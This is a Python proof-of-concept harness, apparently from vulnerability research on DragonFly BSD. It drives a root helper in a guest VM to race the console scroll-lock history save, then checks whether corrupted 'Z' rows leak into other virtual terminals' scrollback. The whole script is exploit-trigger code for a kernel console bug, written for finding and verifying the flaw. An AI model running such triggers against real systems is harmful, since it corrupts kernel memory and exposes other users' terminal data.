#!/usr/bin/env python3
"""DF-5015 round 2: verified hunt -> fire -> multi-victim check."""
import sys, time
sys.path.insert(0, '/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015')
import os
os.chdir('/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015')
from drive import Mon, run_root, marker_rows, z_rows, Slk

def lines_with(shot, ch, mincount=40):
    out = []
    for line in shot.splitlines():
        n, sep, row = line.partition("|")
        if sep and row.count(ch) >= mincount:
            out.append(n)
    return out

m = Mon()
slk0 = Slk(m, vty=0)

print("== reset to matched 80x25 ==")
run_root("rm -f /tmp/DF5015_STOP")
run_root("pkill -f 'df5015 flip' 2>/dev/null; true")
print(run_root("/tmp/df5015 flip 1 0 1500"))
print(run_root("/tmp/df5015 arm"))
print(run_root("pgrep -l -f 'df5015 (drain|pressure)'"))
print(run_root("tail -1 /tmp/pressure.log 2>/dev/null"))

print("== hunt ==")
run_root("rm -f /tmp/DF5015_STOP")
print(run_root("/tmp/df5015 flip 100000 3000 60 >/tmp/flip.log 2>&1 &"))
deadline = time.time() + 400
attempt = 0
found = False
while time.time() < deadline:
    attempt += 1
    run_root("/tmp/df5015 mark 0 MARKERX")
    slk0.set(True)
    m.key("end")
    shot = run_root("/tmp/df5015 shot 0")
    slk0.set(False)
    rows = marker_rows(shot)
    if len(rows) >= 2:
        print(f"attempt {attempt}: MISMATCH rows {rows}")
        found = True
        break
    if attempt % 5 == 0:
        print(f"attempt {attempt}: matched ({rows})")
if not found:
    print("no mismatch this round")
    run_root("touch /tmp/DF5015_STOP")
    sys.exit(1)
run_root("touch /tmp/DF5015_STOP")
time.sleep(1.0)

print("== fill + single verified fire ==")
run_root("/tmp/df5015 fill 0 Z 70")
slk0.set(False)
slk0.set(True)       # SLK on
m.key("home")        # first key -> sc_hist_save -> append(negative tail)
slk0.set(False)      # off -> restore -> negative tail again
time.sleep(0.3)
slk0.set(True)
m.key("end")         # entry save (safe tail now) + view oldest
shot = run_root("/tmp/df5015 shot 0")
slk0.set(False)
print("Z rows in ttyv0 oldest view after fire:", lines_with(shot, 'Z'))

print("== fire 60 ==")
for i in range(60):
    slk0.set(False)
    slk0.set(True)
    m.key("home")
    slk0.set(False)
    if i % 20 == 0:
        print(f"cycle {i}")
print("fire done")

print("== victim sweep ==")
for v in range(1, 8):
    run_root(f"/tmp/df5015 switch {v+1}")
    time.sleep(0.3)
    run_root(f"/tmp/df5015 mark {v} V{v}MARK")
    slkv = Slk(m, vty=v)
    slkv.set(True)
    m.key("end")
    shot = run_root(f"/tmp/df5015 shot {v}")
    slkv.set(False)
    z = lines_with(shot, 'Z')
    print(f"ttyv{v}: Z-rows {z if z else 'none'}")
run_root("/tmp/df5015 switch 0")
print("== done; guest still alive: ==")
print(run_root("echo alive"))
